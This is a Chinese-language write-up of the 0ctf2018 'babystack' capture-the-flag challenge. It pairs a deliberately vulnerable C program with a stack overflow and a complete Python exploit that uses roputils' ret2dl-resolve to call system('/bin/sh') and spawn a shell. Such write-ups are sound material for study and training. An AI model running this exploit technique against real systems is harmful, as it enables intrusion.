0ctf2018 babystack writeup

赛题链接

https://github.com/eternalsakura/ctf_pwn/tree/master/0ctf2018/babystack

前置技能

ret2dl in x86

没有能用来leak的漏洞。
如下面的代码,除了明显的栈溢出,没有可以用来leak内存布局,bypass aslr的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulfunc()
{
char sbuf[10];
read(0, sbuf, 60);
}

int main()
{
vulfunc();
exit(0);
return 0;
}

本来想写一下原理的,不过其他资料已经讲得非常好了,实在没什么可补充的(其实是我还不怎么懂)。
https://www.slideshare.net/AngelBoy1/re2dlresolve
http://www.inforsec.org/wp/wp-content/uploads/2016/01/sec15-paper-di-frederico.pdf
http://skysider.com/?p=416
学习过程中最好找个程序,然后对着_dl_runtime_resolve源码服用,效果更佳,然后再看图就思路清晰了。

分析

alarm用keypatch先nop掉

可以看出有很明显的栈溢出漏洞,但是只有一个read,没有可以用来leak的函数,所以用ret2dl的解法

利用

利用思路

  1. 通过栈溢出来调用read函数在bss段写我们需要的结构和/bin/sh
  2. 然后使用dl_resolve_call去调用system,得到shell。

getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#coding:utf-8
import sys
import roputils
from pwn import *

offset = 44
readplt = 0x08048300
bss = 0x0804a020
vulFunc = 0x0804843B

p = process('./babystack')
# p = remote('202.120.7.202', 6666)
# context.log_level = 'debug'

def getReloc(elf, base):
jmprel = elf.dynamic('JMPREL')
relent = elf.dynamic('RELENT')

addr_reloc, padlen_reloc = elf.align(base, jmprel, relent)
reloc_offset = addr_reloc - jmprel
return reloc_offset

rop = roputils.ROP('./babystack')
addr_bss = rop.section('.bss')

# step1 : write sh & resolve struct to bss
buf1 = 'A' * offset #44
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1)

buf2 = rop.string('/bin/sh')
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(addr_bss+20, 'system')
buf2 += rop.fill(100, buf2)
p.send(buf2)

#step2 : use dl_resolve_call get system & system('/bin/sh')
buf3 = 'A'*44 + rop.dl_resolve_call(addr_bss+20, addr_bss)
p.send(buf3)
p.interactive()

其他

ret2dl方法是hook师傅教我的,我也没全看懂,只是理解了基本思路后,整个过程用roputils工具来实现的,工具我放在了我的github上。
依然不懂怎么手工构造,而且程序再换成64位也就不会,还要学习一下。